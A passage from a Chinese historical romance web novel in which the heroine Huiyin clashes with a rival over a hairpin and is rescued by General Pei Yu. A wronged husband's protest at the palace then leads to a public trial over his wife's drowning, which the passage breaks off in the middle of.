她模样娇憨,圆圆的脸蛋配着黑漆漆的大眼睛,倒是有几分可爱。 徽音想起她从前面目狰狞疯狂的的样子,又看看她如今这副卖乖模样,不禁笑出声:“我早不怪你了,你不必如此讨好。” 贺佳莹如同被踩住尾巴般大叫,“我才不是讨好你!” 她不好意思的低下头,小声道:“我喜欢你金玉加身,珠光宝气的样子。” 她又撑着头打量徽音,忽的摇摇头,“你这副模样太素了,你应该跟以前一样,穿着最时兴的衣裙,带着最华贵的首饰,一出现就能吸引所有人的目光。” 徽音被她摇头晃脑的模样逗笑,问道:“你从前见过我?” 贺佳莹扶着车璧起身,坐到徽音身边,凑近她道:“我第一次见你是在宴席上,你和王寰合奏了一曲,我听的如痴如醉。” 徽音问:“这么说来,你对我印象还不错,那为何我初入府的时候你百般找我麻烦?” “我那是鬼迷心窍,加上身边有人挑唆,这才……”贺佳莹一脸急切,抬手发誓,“我发誓,邪祟那事我是真没想过害你性命!” 徽音拉下她举着的手掌,正色道:“你可知,我为何会原谅你?” 贺佳莹迷茫道:“因为你善良?” 徽音摇摇头,“正如你所说,你从没想过害我性命,连落水那事都是你自己跳的湖,春日的湖水可不好受。” 贺佳莹也想起徽音跳湖救她的事,她盯着徽音的嘴唇微微出神,疏影说,徽音是用亲嘴的方式救的她。 徽音看着贺佳莹眼神变得诡异起来,呆呆的望着她不知道在想写什么,她抬手在贺佳莹面前挥了几次,这才把她喊回神。 “你刚刚在想什么?” 贺佳莹脸色爆红,语无伦次的回道:“没什么,没什么!” 徽音也不再追问,转而问起另一件事,一件她想知道很久的事情。 “柳檀,是什么样的人?” 贺佳莹身体一僵,来了来了,这个问题终于来了,她早已预感徽音会问。 贺佳莹往旁边的锦席上挪了一个身位,敷衍道:“她就跟你以前见过的那些贵女,跟她们一个样。” 徽音静静的望着她,丢出一句话:“你上次不是说她很好么?” “我乱说的!我气糊涂了。” 贺佳莹望着徽音,无比诚恳道,“真的,我与柳檀接触不多,但我能看得出来她很嫌弃我,她不过的表面上装的贤良淑德罢了。” 徽音回忆着柳檀的面容,她比柳檀要小两岁,柳檀是氏族女郎,平素也只接触和她身份差不多的女郎们。如琅琊王氏,南阳冯氏,青州董氏和蜀郡氏族等历经百年的大氏族。 如徽音这等新兴的氏族,不在这些百年氏族交好的范围内。她与柳檀也从没打过交道,但从她的流传来看,她是个落落大方,温柔娴雅的女郎。 柳檀看不起贺佳莹这事徽音倒不诧异,不过,她更想知道的是柳檀的性情喜好,毕竟裴彧那般喜爱她,她若是能照着学学,裴彧是否会对她有些恻隐之心? 徽音还要再问,马车已经停住,贺佳莹迫不及待的溜下马车,招手唤她下去。她不好再问,提着衣裙下车。 琳琅阁前的市道宝马华盖安车络绎不绝的驶进,马车内下来的贵戚夫人们各个金钗云鬓。 侍女引着两人来到三楼的雅间,珠宝饰品都被绘制成册的放在各个雅间由贵人们挑选,看上后再由侍女送到雅间试戴。 贺佳莹拉着徽音坐下,大手一挥,“将你们这里最好的首饰拿上来。” 侍女望着面前两个女郎,那位如月里嫦娥的小娘子,梳同心髻,耳铛是由青玉珠串金链,腰带上绣着合欢纹,明显是位已婚妇人。 她身边那个女郎梳着分肖髻,衣饰明艳,模样娇憨,看样子应该是哪家的新妇带着小姑子来买首饰。 侍女心中有了计较,笑道:“女郎稍作,奴婢这就去取。” 没一会,她就捧着朱色漆盘进入雅间,上首摆放各种琳琅满目的珠宝首饰,被雅间内的灯火一照,熠熠生辉。 贺佳莹兴致勃勃的凑过去挑选,她打量片刻,忽而皱眉,不悦道:“你就拿这种货色搪塞我们?” 徽音顺着她的方向望过去,漆盘中的首饰乍一看华贵异常,实则都是些次等货色,甚至略带杂色。 侍女没想到这年纪轻轻的女郎既有如此眼里,她还以为是个普通富贵人家,她连忙陪笑,“非是搪塞,女郎们来迟了些,好成色的已经都卖出去了。” 贺佳莹瘪瘪嘴:“可你这成色也太差了,没一件能看的。” 侍女笑道:“倒是有一件货,女郎必然看得上,就是这价格嘛。” “别卖关子,女郎我有的是钱,快去拿来吧。”贺佳莹大手一挥,满不在乎道。 那侍女捧着一个铜盆大的木匣走进来,小心翼翼的放在案几上,打开那木匣,匣中放着一只青鸾逐月簪。 簪体为翠玉,簪首为回首望月的青鸾神鸟造型,羽翼以翡翠镶嵌,灵动非凡。 贺佳莹满眼惊叹,她连忙唤来一旁的徽音,想要给她带上。 颜娘取下徽音头上的饰品,将青鸾逐月簪斜插入她的发髻上,耀眼夺目,簪下的美人更是一绝,玲珑剔透,顾盼生辉。 侍女由衷的赞叹:“女郎是奴见过最合适这簪的人。” 贺佳莹更是开心,凑到徽音面前不停的夸赞,妙语连珠。 青鸾逐月簪虽美,但太过奢靡沉重,许多场合都无法佩戴,徽音并不喜欢,她默默抬手想要取下。 就在这时,雅间外传来一道趾高气昂的声音:“我倒要看看是想敢跟我抢东西!” 这声音旁人不知,贺佳莹却万分熟悉,从小就跟她不对付,处处瞧不起她,每回遇上都是等次她几句的柳桐,柳檀的亲妹妹! 柳檀碍着世家贵女的教养和裴夫人及裴彧,虽瞧不上贺佳莹,但表面功夫做的极好。 这柳桐就不一样了,她是河东柳氏这一辈最小的孩子,从小被几个哥哥姐姐宠着大大,刁蛮跋扈,一张嘴能将人气死。 贺佳莹以往没少吃她的亏,她心头怒火飘起,拉下徽音的手臂,朝外头大声道:“表嫂,这青鸾逐月簪除了你,旁人都配不上!” 她凑近徽音耳语:“是柳桐,柳檀的小妹,她可气人了,你帮我教训教训她!” 徽音:“……” 真看得起她,她如今什么身份,如何能跟出身氏族的柳桐硬碰硬,若是以前三两句便能打发,现在,有着柳檀和裴彧间的情事,在加个身份尴尬的她,说不定柳桐会更加变本加厉。 不等两人细想,柳桐已经冷笑着掀开雅间的青纱帐走了进来。柳桐亦是个美人,她眉骨高,眉峰上扬,看人时总像含着半分讥诮。鼻根挺立的近乎凌厉,两颊颧骨过高,给她增添几分刻薄感。 她的性子也不负这份长相,只见她扫视一圈看清人后,掩唇娇笑道:“我当是谁呢,原来是裴府打秋风的落魄户啊。” 柳桐看见徽音一顿,她自是认识徽音,此人名声如雷贯耳,长安谁人不知。不过她却是不服的,宋徽音不过是长了副好相貌,轮身份地位,轮才情品行,哪点比得过她阿姊。 世人谁不知裴彧心念她阿姊,只等她阿姊替前夫守完三年寡再续前缘。偏偏这个宋徽音,恬不知耻,自甘下贱,竟勾得裴彧纳她为妾,柳桐想起近些日子小姐妹话里话外的讥讽。 她语气更加刻薄:“呵呵,到底不是氏族,真不讲究,竟然允许一介妾室出门抛头露面。” 贺佳莹面带怒火,悠的一下站起身骂道:“你胡乱沁什么,我家如何干你何事!” 柳桐直接无视她,饶有趣味的望着徽音,命令道:“你不配戴这簪,取下来。” 徽音坐着不动,面带微笑:“听闻河东柳氏是大族,族中教养出女娘各个贤良淑德,雍容大方。今日一见柳女郎,方知传闻不真。” 柳桐如何听不出徽音是在嘲她,不过,她可不是个在意名声的人,柳桐上前一步,抬手就要去抢徽音头上的发冠。 守在徽音身侧的颜娘一把钳住手她的手,下了死力。 柳桐只觉得手臂处传来剧痛,似是要断掉般,她哀叫两声连连后退,身后的仆妇见状连忙扶住她。 柳桐指着徽音怒吼:“把她头上的簪子给我取下来!” 她身后的两名健壮仆妇听闻立马撸着袖子恶狠狠的上前,颜娘和贺佳莹不约而同的挡在徽音面前,怒视着两人。 琳琅阁侍女满脑门大汗,这里的人他一个都得罪不起,连忙高声告饶,求各位女郎们停手。 雅间内嘈杂一团,其他雅间的夫人娘子们也都凑过来看热闹,徽音见事情闹的越发大,抬手摔掉一个陶杯喝住众人。 “住手!” 徽音起身拨开颜娘和贺佳莹,冷冷的盯着柳桐:“先来后到你不懂吗?这东西是先拿给我们看的,我不要了才能轮到你。” 柳桐嗤笑:“我偏要抢,你待如何?” 徽音:“待明日御史参你一本,你那刚刚荫官的三兄到手的官职一落,你就知道如何了?” 柳桐一滞,回头望去,果见有几名御史夫人也在此处。宋家虽败,宋徽音父亲在御史兰台还是留有些交情,她若真能说动那些御史,倒真是个麻烦事。 贺佳莹哼哼两声,插腰双手,“你敢抢,我就回去朝我姨母和表兄哭诉,你这般欺辱我,定叫你好看!” 柳桐气得胸腔起伏,她身后的仆妇的上前劝阻,最终,她面前青紫,咬牙道:“不就一个簪子吗,我什么好东西没有,这破烂就让给你们!” 贺佳莹得意的笑笑,高喊:“结账!” 侍女舒了口气,拿着算盘上前恭敬道:“女郎,一共是三百金。” 贺佳莹愣愣的摸着荷包,这么多,遭了,她今日出门没带多少现钱。她苦着脸凑近侍女小声道:“我身上没这么多,我叫人回去取,或者你找人去裴府要?” 侍女为难道:“……咱们琳琅阁的规矩不能赊账!” 柳桐气的胸口疼,等了片刻,发现贺佳莹没拿银钱结账,而是面色尴尬的和番商嘀咕着什么。 她心中一喜:“某人连钱都掏不出,还说什么要买的大话,真是笑掉大牙。” 她扬眉吐气道:“买不起就滚开,缘奴,你去结账!” 她身后那个低眉的青衣女婢捧着一匣子金饼上前,侍女看看贺佳莹,又看看柳桐,左右为难。 徽音拉过贺佳莹询问:“怎么了?” 贺佳莹苦着脸道:“没带够钱,你能不能借我点。” 徽音:“……”看她像有钱的样子吗,她和颜娘浑身上下凑不出一块金。 第27章 现在我表兄喜欢的可是你…… 三楼内数十双眼睛盯着她们, 柳桐还在那里喋喋不休的嘲讽,贺佳莹脸红的滴血。 徽音发誓,她这辈子没打过这么窝囊的仗, 败贺佳莹所赐,这下里子面子全丢光了。 “买不起就赶紧将簪子取下来, 不属于你的东西再怎么抢也不是你的!” 周围细碎的议论传进徽音耳里,她努力控制着表情,抬手去摘发簪。 贺佳莹抱着她的手臂劝阻:“别摘啊,这是咱们抢来的。” 徽音瞥了她一眼, 质问:“你有钱吗?” 贺佳莹摇摇头。 徽音面无表情:“我更没钱。” 这是她一生中最穷的时候。 贺佳莹还是抱着她的手臂不撒手,徽音无奈:“再耽搁下去, 柳桐能把整条街的人叫来看我们笑话。” “我已经让人回去取钱了!”贺佳莹跳脚。 徽音忍着气道:“来回一个时辰, 你要站着这里让她讥讽一个时辰?” 柳桐越说越过火,纵是徽音脸皮厚也有点扛不住她的火力, 她现在只想快点离开。 贺佳莹万分不愿,却也没有办法,她慢慢松开徽音的手臂,余光看见窗外市道上行驶过一队人马。 领头的人她万分眼熟,剑眉星目, 威风凛凛, 她心中大喜, 连忙扑到窗边大喊:“表兄, 快来捞我和徽音!” 徽音:“……” 能让贺佳莹叫表兄的只有一个, 徽音此刻真恨不得暴打贺佳莹一顿, 她宁愿在外人面前丢尽脸,也不愿意闹到裴彧面前去,何况是这种买东西付不起钱的尴尬事。 徽音只能暗自祈祷裴彧有要事在身, 没空理会贺佳莹。 然后,她看着贺佳莹一脸喜意的转身,对她道:“表兄上来了,我们有救了。” 徽音僵硬的点点头,柳桐注意到这边的动静,狐疑道:“你莫不是拿裴将军的名头唬人?” 不等贺佳莹回答,楼梯口已经传来甲胄走动间和剑柄撞击的脆音。 众人回头看去,裴彧一身虎贲郎将装束,绛色曲裾配兽纹金钩玉带,他眼角上扬,鼻梁高挺,自带一股风流韵味。 裴彧身后还跟着数十个带刀虎贲将,高大威猛,气势逼人。这幅阵仗直接惊动了琳琅阁的主人阿古,他一路奔过来向裴彧见礼问好。 三楼内其他夫人看见裴彧的身影后纷纷屈膝行礼,带着婢女随从进入雅间,不敢再看。 阿古恭敬道:“不知裴将军大驾光临,小的有失远迎,裴将军来此是?” 裴彧向阿古颚首,嘴角染上笑意:“来赎人。” 阿古摸不着头脑,“赎人?裴将军说笑了,小店都是正经买卖啊。” 裴彧视线向前,从一脸得意的贺佳莹脸上移到徽音面上,她微微垂头,侧身站在贺佳莹身侧,耳垂红欲滴血。 阿古跟着他的视线看去,只看见三位富贵女郎站在那处,其中一位容色极好,发上还带着他这琳琅阁新到的青鸾逐月簪,当真是艳压群芳。 从头到尾见证这场闹剧的侍女走出来,将事情原原本本的告知裴彧和阿古。 裴彧听闻轻笑,“原来是买东西付不起钱啊。” 阿古连忙接话:“早知是裴府上的贵人,小人就亲自接待送两位贵人回府了,哪至于闹成这样。” 裴彧盯着那边装死的身影开口:“还不过来?” 贺佳莹乖乖拉着徽音的手站到裴彧身后,从头至尾,徽音都能感觉她面上那道凌厉又带着揶揄的目光,叫她不敢抬头去看裴彧。 她全程不吭声,偏那人不肯放过他,非盯着她问道:“喜欢这簪子?” 徽音僵硬的点点头,她哪里是喜欢,她恨不得今日从没来过这地。 裴彧唇角一勾,眼底笑意蔓延,眉梢都浸着混不吝的轻佻,徽音看着他欠揍的笑容,手掌握了握拳,真想一巴掌打上去。 “拿着我的节令,去裴府取钱。”裴彧取下腰间的玉牌扔给阿古,转身带着徽音和贺佳莹离开。 柳桐盯着裴彧俊秀的脸庞看了几息,发现她被无视的彻底,不忿的开口:“元晞阿兄,那发簪是我先看上的!” 裴彧脚步一顿,回头才发柳桐也在。 贺佳莹回嘴:“什么你先看上的,分明是先拿给我们的。” 柳桐不理会贺佳莹,而是盯着那两人站在一起的身影眼神冒火,宋徽音凭什么,裴彧身边的位置合该是她阿姊的! 她再度开口:“元晞阿兄,这青鸾逐月簪我是准备买来送我阿姊的生辰礼物,阿姊她最喜欢这翠玉了。” 贺佳莹暗叫不好,该死的柳桐,居然搬出柳檀来做挡箭牌,好不要脸。她偷偷看了徽音一眼,发觉徽音正抬头望着表兄,而表兄则是望着柳桐的方向。 她心中默默为徽音抱不平,在贺佳莹看来,柳檀一万个比不上徽音,奈何她表兄就钦慕欢柳檀。 贺佳莹又想起疏影所言,看来她和把撮合表兄和徽音的事提上行程了。 裴彧侧着脸,徽音看不到他面上的表情,但已经做好准备让出发簪了。 她抬手准备摘下发簪,那边的柳桐看见徽音的动作一喜,得意的走上前,正要向裴彧道谢。 未料裴彧突然抬手拦住徽音的手,将她耳边的碎发整理好,道:“摘了干什么,挺好看的。” 徽音眨眨眼,不明白他要干什么。 裴彧瞥了眼呆呆的徽音,眼底染笑,转头望着柳桐道:“这发簪不能让你,你去挑其它的,算我帐上。” 裴彧说完这句话不再停留,拉着徽音转身离开。 贺佳莹跟在二人身后,经过柳桐身边好生的扬眉吐气,嘲笑了一番。 徽音和贺佳莹上了马车,裴彧站在车外,吩咐他身后的两名虎贲将护送二人回府。等两人走远后,他招手唤来先前跟着两人出府的侍卫询问。 “她们二人今日出门去了哪些地方,见了哪些人?” 侍卫拱手回道:“除了此处,便是在梧桐巷那边用了饭,再未去其他地方,也没见过什么人。” 裴彧颚首,收回视线,翻身上马离去。 —— 正午时分,日头正烈,正是一日内最为热闹之时,酒肆食肆座无虚席,市道两侧的小食摊子围满行人,炙肉的烟气混着椒盐的辛香,在街道间翻涌。 咚—— 铜锣声响彻街道。 “苍天在上,我有天大的冤屈!” 市道上所有人朝他侧目看去,二楼食肆内的食客也停下著,探头朝窗外望去。 一个白衣瘦削的男子赤着脚,披头散发,用力的敲着手中的铜锣,嘶声大喊:“我妻萧氏,为苏信所迫,又遭奸人灭口,我有天大的冤屈!” 平桢身后跟着一连串看热闹的闲汉,在他喊出苏信之名后,又有不少看热闹的行人加入,七嘴八舌询问他真相。 他遂大声道出真相:“苏信屡次强迫我妻,事发后他们苏家为了提他遮掩,将所有的脏水都泼在我妻头上!为了脱罪,竟然将我妻活生生沉塘而死!” “老天爷,你为何如此不公!难得我们平头百姓活该命贱,遭他们这些贵族子弟玩弄吗!” 平祯悲怆道:“我本不欲追究此事,想带我妻离开西京隐姓埋名,奈何那群位高权重的大人物们不肯放过,一路追出京害死我的妻!” “我们已经退无可退,为何非要苦苦相逼,不给活路啊!” “今日,我便是舍了这条命,也要为我妻子萧纷儿讨一个公道,为她正名。” “她并非你们口中的□□□□,她是一个极好的女子,只恨她嫁了一个无用的郎婿,护不住她,叫她半生凄苦,死活还背上骂名……” “那苏信是不是就是前两日传出的那个迫奸庶母的那个?” “就是他!没想到,他为了脱罪,竟然害人性命。” “哼,在他们那些大人物眼底,我们不过是贱民,还不如他们养的牲畜,死便死了。” “不能就这么放过他们,必须让他们给一个公道!” “真是可怜呐。” 平祯嘶声力竭染红了眼,泪洒当场,围观百姓纷纷低头拭泪,因他动容。 众人汇聚在平桢身边拥着他一路朝司马门走去,声势浩大,以极快的速度蔓延。见状不对的人立马撒开腿跑去通风报信,不一会,整个长安都知道了,平桢他破釜成舟,宫门鸣冤。 临近宫阙,被执金吾卫拦下,为首的郎将横眉冷对:“大胆,你们是要谋逆吗,竟敢聚众闹事!” 围聚的百姓看见配刀的执金吾卫慌乱起来,平祯抬起头,眼底布满血丝,他举起一片竹简高喊:“郎官平祯,有冤要诉,叩请陛下圣听!” 张郎将皱眉,他自然认识平祯,平祯时常出入宫廷侍奉陛下和太后,算是天子近臣,无陛下命令,他自不能随意伤平祯。可他接到命令,一定要阻止平祯去司马门,必须拦下他。 “平祯,你有冤上书便是,闹出这等动静,你不想活了吗?” 平祯抬头苦笑,眼底沁泪:“你不懂,只有这样,才能捅破这天,还我公道,还我妻子公道! 张郎将眼底露出怜悯,百姓不知,他们这些文武官皆知事情真相,只是,怜悯归怜悯,他也有小家要顾,只能对不住平祯了。 他挥挥手,身后数十执金吾为上前,想要按住平祯带走。 平祯从袖中掏出匕首,横与颈侧,“你们休想带我走,若敢上前,我即刻自刎于此!” 张郎将见他如此执迷不悟,心中恼火,拔刀威胁:“你今日所作所为,本将便是将你就地处决也没人会追究。” 平祯仰天大笑两声,径直冲向那张郎将的横刀上,张郎将大骇,连忙抽刀后退,但还是伤到了平祯手臂,霎时间鲜血淋漓染红白衣。 平祯捂着手臂悲怆大喊:“你们官官相护,不给我们小民活路啊!” 百姓亲眼见血,原本平息的怒气又被激起,纷纷想到了曾经受到的不公,竟无视执刀的执金吾卫,扶起平祯,朝前涌去,冲破包围圈。 不过片刻,乌泱泱的人群如同蝗虫入城一般,势如破竹的到了司马门前,他们纷纷跪地,随着平祯高呼:“有冤陈情,叩请陛下圣听!” 张郎将看见这一幕,心中五味杂陈,身后侍卫来问,是否要拦。张郎将摇摇他,如何拦?平祯抱着必死的决心,拦不住的。 这天,要被他捅破一个大窟窿。 司马门前驻守的将领官兵看见后立马上前驱赶,但百姓众多,声势浩大,他的呼声根本没用。他不敢耽误,连忙吩咐人快速进宫禀告。 同时,廷尉府,御史台,卫尉等人马接到消息正相继赶来。 宣室殿的青黑地砖上,直挺挺的跪着四个身影,他们膝下并未铺上蒲团,垂头听训。 再往前,一张黑檀案几上摆着一盏衔鱼灯,火光投在宣帝半明半暗的脸上。灯座下压着一片血渍竹简。 不一会,殿外传来卸甲的的声音,裴彧大步走进宣室殿,跪下行礼。 宣帝这才抬起脸,眉头紧皱,抬手道:“都起来了吧。” 宣帝问裴彧:“外头情况如何了?” 裴彧:“人声鼎沸,司马门前聚集了数千百姓,虎贲卫队已经敢去维持秩序了。” 宣帝怒极:“好啊,一桩小小通奸案,闹的人尽皆知,他们是要逼宫吗?” 平曲侯平宪章和廷尉苏文易对视一眼,连忙再度跪下磕头请罪:“臣有罪,请陛下责罚。” 宣帝双手撑在桌上,语气带怒:“你们是有罪,一个教子无方,一个连人都看不住!” 他还要再骂,余光瞥见王沱在殿外团团转。宣帝高声道:“王沱,你在干什么?” 王沱跪地高喊:“禀陛下,太后……她来了!” “什么?”宣帝一惊,起身疾步越过几人到了殿外,果见宫道一架由四名黄门抬着的凤辇,十二名绛衣宦者在前引路,辇后跟着两列女官。 这是自五年前平太后隐居,第一次出宫露面。凤辇近了后众人才看清,那步辇中空无一人,只摆着一件五彩翟衣和太后金印。 宣帝不解:“这是?” 凤辇最前方的女官回道:“禀陛下,太后娘娘吩咐奴带着她的金印和翟衣过来,太后已经听闻宫门前的事情。太后说,平祯此事,她不插手,但平家三房就剩这一支血脉,请陛下稳妥处理。” 宣帝颚首,凤辇走后,宣帝背手而立,望着司马门的方向感叹:“这是五年来,太后第一次与朕主动说话。” 苏文易脑门一惊,平太后摆满是要保平祯,陛下为了修复母子关系,难保不会重重罚苏家,他偷偷看了眼身侧的平宪章,示意他发声。 平宪章会意,上前一步躬身道:“陛下,平祯此举着实大胆,若轻拿轻放,只怕……” 剩下的话语戛然而止,平宪章看见宣帝投来令人胆寒的眼神,嘴中的话语再也无法吐露。 宣帝不悦的扫了眼平宪章和苏文易,这两人心中什么勾搭他心知肚明。 “平祯亦是你的侄儿,你便这么想要他死?” 带有质疑怒气的话压下,平宪章再不敢多言,连忙求饶退下。 同是平家人,平宪章也并非容不下平祯,他也想好好亲近这个侄儿,让平祯帮忙劝劝太后不要和陛下再怄气了。 奈何平祯实在是个扶不上墙的,屡次忤逆他,如今还闹出这种大事,若是能撇清关系自然是好的,未曾想惹怒了陛下。平宪章擦着汗,不敢再言。 宣帝冷哼一声,扫过御史大夫,苏文易和平宪章,最后停留在面容俊朗的裴彧脸上,他的心情也变好了点。 宣帝吩咐:“元晞,事情已经闹成这样,必须要给百姓一个交代,明日辰时,于廷尉府合议堂公堂审讯,你为主审官,丞相府长史,御史中丞为副审官,将此事给朕好生审上一审!” “看看此事到底孰是孰非!” 裴彧领命:“诺。” —— 裴府,临水阁。 一楼堂屋内的欢声笑语突破云间,颜娘在土灶下忙活着,裴夫人刚刚着人送来上好的鹿肉,这是补血养身的好东西,她带着人支起烤架,熏烤鹿肉。 颜娘听着屋内的笑声,心中愉悦,她现在不嫌弃贺佳莹经常跑到临水阁来了,起码她来了能缠着徽音谈笑,总比徽音一个人孤零零的坐着发呆强。 她有时看见徽音一个人孤寂的身影,心中酸涩不堪,从前的徽音爱笑,也爱漂亮,她闲来无事总会带着婢女们调香,或是拉着她们商讨时兴的妆容和衣裙。 到了裴府,徽音虽还是徽音,可颜娘能明显感觉到,她变了,她不爱笑,从前喜欢的东西现在一概不碰。心事全部埋藏在心底,一个人默默承受,只有颜娘不停的追问下她才吐露一二。 颜娘不想看见这样的徽音,她希望她还是从前那个能闹能笑的小女郎。她坐在灶房外,擦干眼睛的泪,望着堂屋内开怀的徽音,头一次开始感谢贺佳莹。 堂屋内,案几上摆满妆奁盒,金饰玉饰数不胜数的堆积在案上,这些都是贺佳莹吩咐人收拾过来的。她一件件的放在徽音头上比划,似乎不嫌累。 贺佳莹:“你别嫌弃,这些都是我没用的。” 徽音摘下头上的缠枝金簪放回妆奁,拒绝道:“不是嫌弃,这些是裴夫人给你,我拿着算怎么回事。” 贺佳莹嘟嘴:“我想给你嘛。” 徽音吩咐婢女将东西收拾好,她回:“我有,这些你自己用吧,你不是刚刚还送我玉簪吗?” 说起玉簪,贺佳莹立马不好意思起来,嘟喃道:“那不是我送的,是表兄送你的。” 她说完眼珠一转,凑到徽音面前开怀笑道:“你看没看见柳桐那个样子,真是解气。哼,她还真以为搬出她阿姊来就什么都行了。现在我表兄喜欢的可是你!” 徽音收拾的动作一顿,无语道:“你哪里看出来他喜欢我?” 贺佳莹靠在漆木凭几上,笑眯眯道:“两只眼睛看到的。我今日喊住表兄时他本来不耐烦的,却在听见你名字后笑了一下,立马上来了。” 徽音不接话,裴彧哪里是喜欢他,看笑话还差不多。她直起身整理案几上散乱的竹简,屋外传来奔跑的脚步声,疏影喘着粗气进屋,嚷嚷道:“大事!平桢去宫门前鸣冤了!陛下下旨明日辰时在廷尉府当堂会审!” 贺佳莹惊讶:“当真?” 疏影回道:“千真万确!” “这么说来,萧氏真的是无辜的?”贺佳莹面露疑惑,转头询问徽音,“你见过萧氏吗?” 徽音点点头。 贺佳莹追问道:“那你觉得她是个什么样的人?” “温婉纤柔,可怜,是个极好的女子。” 徽音想起那个面容凄楚的女子,她的柔弱,她的痛苦,她的不甘,即便身处地狱,依旧心怀善意,不曾怪罪徽音,而是理解和宽慰。她死前,在想什么? 堂屋突然光线暗淡,徽音望着外头的天色,原本晴朗的天空突然乌云蔽日,似要下雨。 贺佳莹和疏影还凑在一起嘀嘀咕咕,没有注意到徽音的离去。 徽音走出堂屋,颜娘正在指挥婢女们将晾在院中的衣裙收好,灶下土烟滚滚,炙烤鹿肉飘香。 她站在院中那颗大槐树下,望着高高的树冠,明日,一切就会尘埃落定。 此事无非两个结局,第一,平祯胜,按律令,贵族子弟强迫官员之妻,判流放边地。此案不同点便是他们为了掩盖苏信罪行,强行沉塘萧纷儿,平祯这个苦主完全可以上书陈情要求判死刑。 但死刑亦可钱赎,依照苏信身份,按律他需交齐一千万钱方可赎死罪,苏家是没有这个家底凑齐这些钱赎他的,除非倾家荡产,举族之力。 徽音抬手扯掉槐树枝上的烂叶,世家大族便如同这枝繁叶茂的槐树,烂了一枝叶,剪除便是。 第二个结局,就是苏信胜。 徽音想来想去,也想不出他到底能如何脱身,纵然苏家有通天本领,陛下也不得不顾及百姓之声,不顾冤情。 第28章 幕后之人真的是她 翌日, 廷尉府高大宏伟,大门上饰有威严的兽面纹门环,两侧各有一座石狮子, 威风凛凛地守护着府衙。 夯土台下聚满人群,虽是公审, 但也不能将怎么多百姓全部放进去,是以廷尉府选取了二十名代表进内观审。 合议堂正堂肃穆,青砖铺地,以玄色为主, 朱色为辅,庄严威仪。正中间的高位上便是主审官的座位, 置玄木矮案。正堂的两侧, 分别摆放着一排鸟兽纹坐具,供廷尉的属官们就座。 堂外用红绸来出一条界限, 观审的百姓站在界限之后。辰时正,裴彧,丞相府长史,御史相继落坐,几人互相行礼寒暄一二。 案前陈列竹简律令, 左右两侧廷尉属官落座执笔, 面前铺设竹简, 静候升堂。 裴彧发令:“带平祯, 苏信上堂。” 两名身穿皂色短襦, 外罩皮甲的卫兵将苏信和平祯带上堂。 苏信依旧是那副不怕死的模样, 身上的绸缎长袍洁净整洁,几日的牢狱生活没让他憔悴半分。阴柔的面目配上那双暗含怨毒的眼睛,使他整个人都变得可怖起来。 相比之下平祯就狼狈许多, 原本清秀的面目仿佛老了十岁,青茬冒出,白衣老旧发白,眼底的涩红长久不散。 两人都是氏族出身,所谓刑不上大夫,对于贵族而言,不可上枷锁,不可羞辱,要保全其体面。 裴彧先是望向平祯,“平祯,你宫门鸣冤,越过廷尉府和执金吾上诉,依照律令,越诉者,苔五十,你可认?” 平祯俯身行礼,“下臣认。” 裴彧抬手吩咐两侧的卫士将人压下去行刑,堂外已放置一个等身高的黑木长案,平祯趴下去,行刑的卫士高举厚重的苔板,用力的打在他的背脊上。 只一苔下去,平祯便闷哼出声,背脊白衣出浮现一条血痕,五十苔,寻常健硕汉子都扛不住,何况平祯这柔弱身板。 又三苔下去,平祯眼神上翻,吐出一口血,呼吸已然孱弱下去。 丞相府长史连忙开口:“大人,平祯体弱,五十苔下去只怕没命可活,不如待案件审讯完后再行刑?” 裴彧没有回答,而是转头望向其他陪审的属官,等待他们发言。下一息,有几人也不出意料的提平祯求饶,纷纷进言等审讯完后再行刑。 这几人私下都被陛下和太后敲打过,平太后摆明要保平祯,陛下一心想修复母子之间的关系,若让平祯死在堂上,裴彧身份尊贵,自然不受影响,但他们这些人事后定会被拿来出气。 裴彧抬手叫停行刑的卫士,询问那几名不曾出声的陪审属官:“你们是什么意见,也说说?” 属官们:“……”你都叫人停了还问我们干什么? 他们互相对视一眼,纷纷附和。 裴彧轻轻颚首:“既然意见一致,那就审讯完后再行刑,将平祯带上堂。” 平祯受了七苔,脸色极其惨白,脚步已经虚浮,衣襟染血,但其目光坚定,强撑着走到堂上。 裴彧拿起简牍,目光扫过苏信,嘴唇轻启:“苏信,平祯告你奸辱其妻,事发后害死萧氏,你可认?” 苏信冤枉道:“大人明鉴,小子确是一时受人蒙蔽勾引,这才犯下大错。可要说奸辱绝没此事,我与那萧纷儿男欢女爱,乃是你情我愿之事啊!” “更莫说杀人一事,自事发我便被关在廷尉受监管,如何能杀人?” 平祯捂着胸口冷冷呵斥:“颠倒黑白,你说我妻子与你乃你情我愿,可有证据证明!再说杀人一事,你是在牢中,可你那亲兄长呢?” “笑话,那你又有证据证明是我强迫的萧纷儿了?” 苏信轻蔑的扫过平祯,嘴角扬笑,“至于萧氏之死,动手的可不止我兄长一人!” “这么说,你是承认了你兄长害我妻一事?” 平祯抓住苏信话中的漏洞,立马朝上首的裴彧拱手,“大人,你亲耳所闻,苏信承认其兄对我妻动手!” 苏信慌乱片刻,正要吐露平家当时也有人在场,并非他兄长一人时,堂上一名属官连忙朝他使眼色。 他咽下口中的话语,转而辩解:“我在牢里,什么都不知道,我瞎说的。你妻是投湖自尽人人皆知,你说我兄长害你妻,你可有证据!” 啪—— 裴彧拍下案板,语气平静:“平祯,诬告亦是大罪,你有何凭证,呈上来。” 平祯自袖中掏出一张白布呈上,悲戚道:“大人明鉴,这是我妻子萧氏的验尸文书,她死前被人以布束口,双手反捆,活活生溺死。” 他留下泪,痛哭道:“敢问哪个投湖自尽之人会如此!” 裴彧展开白布,上头对萧氏尸身描述极其详细,留名是公孙朴。 “哼,谁知道是不是你随便找了个人写的,说不定是你伪造尸体故意诬陷,我看,就是你受不了这个绿帽,故意害死你的妻子,还想把罪名栽到我头上脱罪!” 平祯终于忍不住,冲上前抓住苏信的衣襟怒吼:“你这畜生!我要杀了你,我要杀了你!” 苏信脸上露出嘲讽的笑容,双手摊在两侧,以他的身手,一招就能置平祯与死地,不过他素来瞧不起平祯,何况公堂之上,自有人帮他。 两名卫士立马上前将平祯拉开,苏信朝裴彧诉苦,“大人,你看见了吧,公堂之上尚且如此,此人情绪不稳定,肯定是他杀了萧氏!” 裴彧拍案镇住两人,声如霜刃,“再犯,以扰乱公堂之罪处罚。” 平祯和苏信同时安份下来。裴彧扫了两人一眼,将验尸文书转给其他属官查阅,其中一人惊叫道:“公孙朴,可是曾经那位太医令,辞官转做仵作的那位?” “就是他,这字迹我认识,不过他年事已高,已经很久不曾现与人前了?” 